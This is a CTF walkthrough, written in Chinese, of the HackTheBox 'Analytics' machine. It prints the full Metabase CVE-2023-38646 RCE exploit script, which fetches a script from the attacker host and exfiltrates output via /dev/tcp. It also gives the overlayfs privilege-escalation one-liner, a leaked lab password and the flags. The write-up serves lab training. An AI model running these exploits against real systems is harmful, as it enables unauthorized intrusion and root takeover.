HTB:Analytics[WriteUP]

目录

连接至HTB服务器并启动靶机

1.How many open TCP ports are listening on Analytics?

2.What subdomain is configured to provide a different application on the target web server?

3.What application is running on data.analytical.htb?

4.What version of Metabase is the target running?

5.What is the 2023 CVE ID assigned to the pre-authentication, remote code execution vulnerability in this version of Metabase?

6.What is the value of the setup-token used by this Metabase instance?

7.Which Metabase API endpoint is used to execute arbitrary commands using the token?

8.Which user is the Metabase application running as?

9.Which environment variable contains the password for the metalytics user?

10.Submit the flag located in the metalytics user's home directory.

USER_FLAG:f5fda9c837bc74fb814606ff409a61d3

11.What kernel version is installed on the host system?

12&13.What Ubuntu release is the system running?

14.Submit the flag located in the root user's home directory.

ROOT_FLAG:e003932489c1090f9447ef3550b4b7f2


连接至HTB服务器并启动靶机

靶机IP:10.10.11.233

分配IP:10.10.16.22


1.How many open TCP ports are listening on Analytics?

使用nmap对靶机TCP端口进行开放扫描

nmap -p- --min-rate=1500 -sS -Pn 10.10.11.233

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p- --min-rate=1500 -sS -Pn 10.10.11.233
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-28 23:04 EDT
Nmap scan report for 10.10.11.233
Host is up (0.077s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 44.80 seconds

由扫描结果可见,靶机开放22、80端口共2个端口


2.What subdomain is configured to provide a different application on the target web server?

使用nmap对靶机22、80端口进行脚本、服务信息扫描

nmap -p 22,80 -sCV 10.10.11.233

使用curl访问靶机80端口服务,从头部信息可见被重定位至:analytical.htb

curl -I http://10.10.11.233

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://10.10.11.233                                          
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 29 Oct 2024 03:02:54 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://analytical.htb/

将靶机IP与域名绑定使DNS从本地解析

echo '10.10.11.233 analytical.htb' >> /etc/hosts

该地址默认界面响应为302

使用ffuf对靶机主域名进行路径FUZZ

ffuf -u http://analytical.htb/FUZZ -w ../dictionary/common.txt

可见主域就是纯纯的静态网页,没有继续测试的必要

使用ffuf对靶机域名进行子域名FUZZ

ffuf -u http://analytical.htb/ -H 'Host:FUZZ.analytical.htb' -w ../dictionary/subdomains-top1mil-5000.txt -fc 302

扫描子域:data.analytical.htb


3.What application is running on data.analytical.htb?

使用浏览器访问子域:data.analytical.htb

该子域运行的WebAPP为:Metabase


4.What version of Metabase is the target running?

使用curl访问子域获得响应,查找版本信息

curl http://data.analytical.htb/ | grep version

由回显可知,该WebAPP版本为:v0.46.6


5.What is the 2023 CVE ID assigned to the pre-authentication, remote code execution vulnerability in this version of Metabase?

使用searchsploit对Metabase进行漏洞搜索

searchsploit metabase

将EXP拷贝到当前目录下

searchsploit -m 51797.py

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# searchsploit -m 51797.py
  Exploit: Metabase 0.46.6 - Pre-Auth Remote Code Execution
      URL: https://www.exploit-db.com/exploits/51797
     Path: /usr/share/exploitdb/exploits/linux/webapps/51797.py
    Codes: N/A
 Verified: False
File Type: Python script, ASCII text executable, with very long lines (317)
Copied to: /home/kali/Desktop/temp/51797.py

查看该EXP代码

cat 51797.py
# Exploit Title: metabase 0.46.6 - Pre-Auth Remote Code Execution
# Google Dork: N/A
# Date: 13-10-2023
# Exploit Author: Musyoka Ian
# Vendor Homepage: https://www.metabase.com/
# Software Link: https://www.metabase.com/
# Version: metabase 0.46.6
# Tested on: Ubuntu 22.04, metabase 0.46.6
# CVE : CVE-2023-38646#!/usr/bin/env python3import socket
from http.server import HTTPServer, BaseHTTPRequestHandler
from typing import Any
import requests
from socketserver import ThreadingMixIn
import threading
import sys
import argparse
from termcolor import colored
from cmd import Cmd
import re
from base64 import b64decodeclass Termial(Cmd):prompt = "metabase_shell > "def default(self,args):shell(args)class Handler(BaseHTTPRequestHandler):def do_GET(self):global successif self.path == "/exploitable":self.send_response(200)self.end_headers()self.wfile.write(f"#!/bin/bash\n$@ | base64 -w 0  > /dev/tcp/{argument.lhost}/{argument.lport}".encode())success = Trueelse:print(self.path)#sys.exit(1)def log_message(self, format: str, *args: Any) -> None:return Noneclass Server(HTTPServer):passdef run():global httpserverhttpserver = Server(("0.0.0.0", argument.sport), Handler)httpserver.serve_forever()def exploit():global success, setup_tokenprint(colored("[*] Retriving setup token", "green"))setuptoken_request = requests.get(f"{argument.url}/api/session/properties")setup_token = re.search('"setup-token":"(.*?)"', setuptoken_request.text, re.DOTALL).group(1)print(colored(f"[+] Setup token: {setup_token}", "green"))print(colored("[*] Tesing if metabase is vulnerable", "green"))payload = {"token": setup_token,"details":{"is_on_demand": False,"is_full_sync": False,"is_sample": False,"cache_ttl": None,"refingerprint": False,"auto_run_queries": True,"schedules":{},"details":{"db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('http://{argument.lhost}:{argument.sport}/exploitable').openConnection().getContentLength()\n$$--=x\\;","advanced-options": False,"ssl": True},"name": "an-sec-research-musyoka","engine": "h2"}}timer = 0print(colored(f"[+] Starting http server on port {argument.sport}", "blue"))thread = threading.Thread(target=run, )thread.start()while timer != 120:test = requests.post(f"{argument.url}/api/setup/validate", json=payload)if success == True :print(colored("[+] Metabase version seems exploitable", "green"))breakelif timer == 120:print(colored("[-] Service does not seem exploitable exiting ......", "red"))sys.exit(1)print(colored("[+] Exploiting the server", "red"))terminal = Termial()terminal.cmdloop()def shell(command):global setup_token, payload2payload2 = {"token": setup_token,"details":{"is_on_demand": False,"is_full_sync": False,"is_sample": False,"cache_ttl": None,"refingerprint": False,"auto_run_queries": True,"schedules":{},"details":{"db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('curl {argument.lhost}:{argument.sport}/exploitable -o /dev/shm/exec.sh')\n$$--=x","advanced-options": False,"ssl": True},"name": "an-sec-research-team","engine": "h2"}}output = requests.post(f"{argument.url}/api/setup/validate", json=payload2)bind_thread = threading.Thread(target=bind_function, )bind_thread.start()#updating the payloadpayload2["details"]["details"]["db"] = f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash /dev/shm/exec.sh {command}')\n$$--=x"requests.post(f"{argument.url}/api/setup/validate", json=payload2)#print(output.text)def bind_function():try:sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.bind(("0.0.0.0", argument.lport))sock.listen()conn, addr = sock.accept()data = conn.recv(10240).decode("ascii")print(f"\n{(b64decode(data)).decode()}")except Exception as ex:print(colored(f"[-] Error: {ex}", "red"))passif __name__ == "__main__":print(colored("[*] Exploit script for CVE-2023-38646 [Pre-Auth RCE in Metabase]", "magenta"))args = argparse.ArgumentParser(description="Exploit script for CVE-2023-38646 [Pre-Auth RCE in Metabase]")args.add_argument("-l", "--lhost", metavar="", help="Attacker's bind IP Address", type=str, required=True)args.add_argument("-p", "--lport", metavar="", help="Attacker's bind port", type=int, required=True)args.add_argument("-P", "--sport", metavar="", help="HTTP Server bind port", type=int, required=True)args.add_argument("-u", "--url", metavar="", help="Metabase web application URL", type=str, required=True)argument  = args.parse_args()if argument.url.endswith("/"):argument.url = argument.url[:-1]success = Falseexploit()

由EXP中注释信息可知,该EXP基于漏洞:CVE-2023-38646


6.What is the value of the setup-token used by this Metabase instance?

从上文EXP中可以找到一个关于API的路径:/api/session/properties

使用curl对此路径进行访问,查找token字段

curl http://data.analytical.htb/api/session/properties | grep 'token'

"setup-token":249fa03d-fd94-4d5b-b94f-b4ebf3df681f


7.Which Metabase API endpoint is used to execute arbitrary commands using the token?

在上文EXP中找到相关API漏洞利用路径

该API端点通过使用token执行任意命令:/api/setup/validate


8.Which user is the Metabase application running as?

利用从searchsploit拿到的EXP进行漏洞利用

python 51797.py -l 10.10.16.22 -p 1425 -u http://data.analytical.htb

执行whoami命令由回显可知,当前用户为:metabase


9.Which environment variable contains the password for the metalytics user?

输出当前已设置的所有环境变量

printenv

printenv
metabase_shell >
SHELL=/bin/sh
MB_DB_PASS=
HOSTNAME=f4af1d665e96
LANGUAGE=en_US:en
MB_JETTY_HOST=0.0.0.0
JAVA_HOME=/opt/java/openjdk
MB_DB_FILE=//metabase.db/metabase.db
PWD=/
LOGNAME=metabase
MB_EMAIL_SMTP_USERNAME=
HOME=/home/metabase
LANG=en_US.UTF-8
META_USER=metalytics
META_PASS=An4lytics_ds20223#
MB_EMAIL_SMTP_PASSWORD=
USER=metabase
SHLVL=2
MB_DB_USER=
FC_LANG=en-US
LD_LIBRARY_PATH=/opt/java/openjdk/lib/server:/opt/java/openjdk/lib:/opt/java/openjdk/../lib
LC_CTYPE=en_US.UTF-8
MB_LDAP_BIND_DN=
LC_ALL=en_US.UTF-8
MB_LDAP_PASSWORD=
PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MB_DB_CONNECTION_URI=
JAVA_VERSION=jdk-11.0.19+7
_=/bin/printenv

在环境变量:META_USER、META_PASS可见一份用户凭证

账户:metalytics

密码:An4lytics_ds20223#


10.Submit the flag located in the metalytics user's home directory.

使用上文凭证连接靶机SSH服务

ssh metalytics@10.10.11.233

查找user_flag位置

find / -name 'user.txt' 2>/dev/null

查看user_flag内容

cat /home/metalytics/user.txt

metalytics@analytics:~$ find / -name 'user.txt' 2>/dev/null
/home/metalytics/user.txt
metalytics@analytics:~$ cat /home/metalytics/user.txt
f5fda9c837bc74fb814606ff409a61d3

USER_FLAG:f5fda9c837bc74fb814606ff409a61d3


11.What kernel version is installed on the host system?

查看系统相关信息

uname -a

metalytics@analytics:~$ uname -a
Linux analytics 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 x86_64 x86_64 GNU/Linux

由回显可见该系统内核为:analytics 6.2.0-25-generic


12&13.What Ubuntu release is the system running?

查看靶机系统发行版相关信息

lsb_release -a

metalytics@analytics:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 22.04.3 LTS
Release:        22.04
Codename:       jammy

PS:由于这道题不管怎么填都填不对,往上也找不到任何做对这道题的人所以略过此题


14.Submit the flag located in the root user's home directory.

将该Ubuntu发行版本拿到Google进行搜索

在文中可以找到EXP

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'

将执行命令id改为/bin/bash

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("/bin/sh")'

查找root_flag位置

find / -name 'root.txt'

查看root_flag内容

cat /root/root.txt

# find / -name 'root.txt'
/root/root.txt
# cat /root/root.txt
e003932489c1090f9447ef3550b4b7f2

ROOT_FLAG:e003932489c1090f9447ef3550b4b7f2

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/58435.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

计算机网络IP地址分类,子网掩码,子网划分复习资料

IP 地址的概念 IP 地址是独立于硬件地址的逻辑地址,它是由软件提供的地址。 IP 地址是网络层地址。 IP 编址方案和分类 IP 地址由 32 位二进制数构成,分为前缀(网络地址)和后缀(主机地址) 同一网段中每台计算机的 IP 地址是唯一的网络地址的分配全球…

SQL中实现去重的多种方法

在开发中遇到需要进行数据去重的查询,或删除重复数据的情况,整理如下: 1. distinct关键字 selectdistinct user_id, create_date from order_info;2. 分组 selectuser_id,create_date from order_info group by user_id, create_date;3. 窗…

2023年合肥高新区区信息学竞赛(初中组)

考试刚结束,发一篇题解。。。 目录 第一题 K16068 汇编语言(assembly)- 2024高新初中T1 题目描述 输入格式 输出格式 输入输出样例 输入样例1:复制 输出样例1:复制 输入样例2:复制 输出样例2:复制 说明 【数据范围】 代码如下: 第二题 K16069 数气(go…

深入SpringBoot Web事务:从原理到实战的全面解析

全文目录: 开篇语前言摘要概述源码解析使用案例分享应用场景案例1. 电商系统2. 银行转账系统3. 嵌套事务的应用场景 优缺点分析优点缺点 核心类方法介绍核心参数说明 测试用例小结总结文末 开篇语 哈喽,各位小伙伴们,你们好呀,我是…

【贪心算法】(第十四篇)

目录 可被三整除的最⼤和(medium) 题目解析 讲解算法原理 编写代码 距离相等的条形码(medium) 题目解析 讲解算法原理 编写代码 可被三整除的最⼤和(medium) 题目解析 1.题目链接:. - …

轻松搞定 Mac 读写 NTFS 移动硬盘:免费实用的 Mounty NTFS-3G 完整指南20241029

轻松搞定 Mac 读写 NTFS 移动硬盘:免费实用的 Mounty & NTFS-3G 完整指南 引言 很多 Mac 用户在使用 NTFS 格式的硬盘或 U 盘时发现,虽然能读,却无法写入文件。大多数人会选择安装商业软件来实现 NTFS 写入,但其实有一些免费…

stm32入门教程--DMA 超详细!!!

目录 简介 工作模式 1、数据转运DMA 2、ADC扫描模式DMA 简介 工作模式 1、数据转运DMA 这个例子的任务是将SRAM的数组DataA,转运到另一个数组DataB中,这个基本结构里的各个参数应该如何配置呢? 首先是外设站点和存储器站点的起始地址、…

宇音天下最新力作 | VTX356语音识别合成芯片问世

北京宇音天下科技有限公司,依托在语音技术领域的丰富经验和技术积累,成功推出了一款具有里程碑意义的语音识别合成芯片——VTX356。这款芯片的问世,不仅彰显了公司在智能语音处理领域的专业实力,也预示着智能家居、车载电子、智能…

<Tauri>tauri2.0框架下,基于qwik(前端)和rust(后端)结合的桌面程序体验

关于qwik Qwik is a new kind of web framework that can deliver instant loading web applications at any size or complexity. Your sites and apps can boot with about 1kb of JS (regardless of application complexity), and achieve consistent performance at scale.…

一些面试题整理

第一章、基础 以下是对上述10道面试题的参考答案: 一、Java语言及性能调优 答案: 线程安全问题是指多个线程同时访问共享资源时可能出现的数据不一致或错误的情况。例如,多个线程同时对一个共享变量进行写操作,如果没有适当的同…

STM32F1+HAL库+FreeTOTS学习21——内存管理

STM32F1HAL库FreeTOTS学习21——内存管理 1. 内存管理简介2. 内存管理相关的API函数3. 内存管理算法4. 内存管理实验4.1. 实验内容4.2 代码实现4.3 运行结果 5. 总结 上一期我们学习了FreeRTOS中的低功耗Tickless模式,这一期我们学习最后一个章节:内存管…

Linux高手进阶

查看系统资源占用: top:查看CPU、内存使用情况,类似 windows 的任务管理器 默认 5秒刷新一次语法: 直接输入 top按 q 或 ctrl c 退出内容详解: 第一行: top:命令名称 -系统时间up 23:57 min &…

Java基础概览和常用知识(十五)

Spring String#equals()和Object#equals()有何区别? String 中的 equals 方法是被重写过的,比较的是 String 字符串的值是否相等。 Object 的 equals 方法是比较的对象的内存地址。 字符串常量池的作用了解吗? 字符串常量池 是 JVM 为了提升性能和减少…

vue3学习记录-单文件组件 CSS 功能

vue3学习记录-单文件组件 CSS 功能 1.组件作用域 CSS1.1为什么要用到样式穿透(:deep())1.2 插槽选择器:slotted(div)1.3 全局选择器:global 2.CSS Modules2.1 基本用法2.2 自定义注入名称2.3 与组合式 API 一同使用 3.…

使用虚拟机搭建环境:CentOS7 Docker、MySQL、Redis 安装与配置

创作灵感 项目实践总结:记录了在虚拟机中安装与配置CentOS7环境下的Docker、MySQL、Redis的全过程,帮助理解和应用各项技术。技术笔记与问题总结:详细梳理了每一步安装的关键点与常见问题,并给出了解决方案。职业感悟与心得&…

postman如何安装旧版本不升级(以9.31和11.10版本为例)

postman版本超过10.x(包含10.x),有个大的麻烦,就是需要登录账号,如果网络不佳(其实是外网受限),那就很难受了 功能页面都进不去了!而8.x /9.x等以下版本就不需要登录了。 比如9.31.30这个版本就…

Cesium基础-(Entity)-(Corridor 走廊)

里边包含Vue、React框架代码详细步骤、以及代码详细解释 4、Corridor 走廊 以下是 CorridorGeometry 类的属性、方法和静态方法,以表格形式展示: 属性 属性名类型默认值描述positionsArray.定义走廊中心的坐标点数组。widthnumber走廊

为什么vue的beforeupdate和updated生命周期会不停的发送请求

在 Vue2 中,beforeUpdate 和 updated 生命周期钩子会在每次组件更新之前和之后被调用。如果在这两个钩子中执行了某些操作,比如发送 HTTP 请求,那么每当组件发生更新时,这些操作也会随之执行,从而导致不断地发送请求。 以下是一些可能导致这种情况的原因: 响应式数据变化…

Python实现图像(边缘)锐化:梯度锐化、Roberts 算子、Laplace算子、Sobel算子的详细方法

目录 Python实现图像(边缘)锐化:梯度锐化、Roberts算子、Laplace算子、Sobel算子的详细方法引言一、图像锐化的基本原理1.1 什么是图像锐化?1.2 边缘检测的基本概念 二、常用的图像锐化算法2.1 梯度锐化2.1.1 实现步骤 2.2 Robert…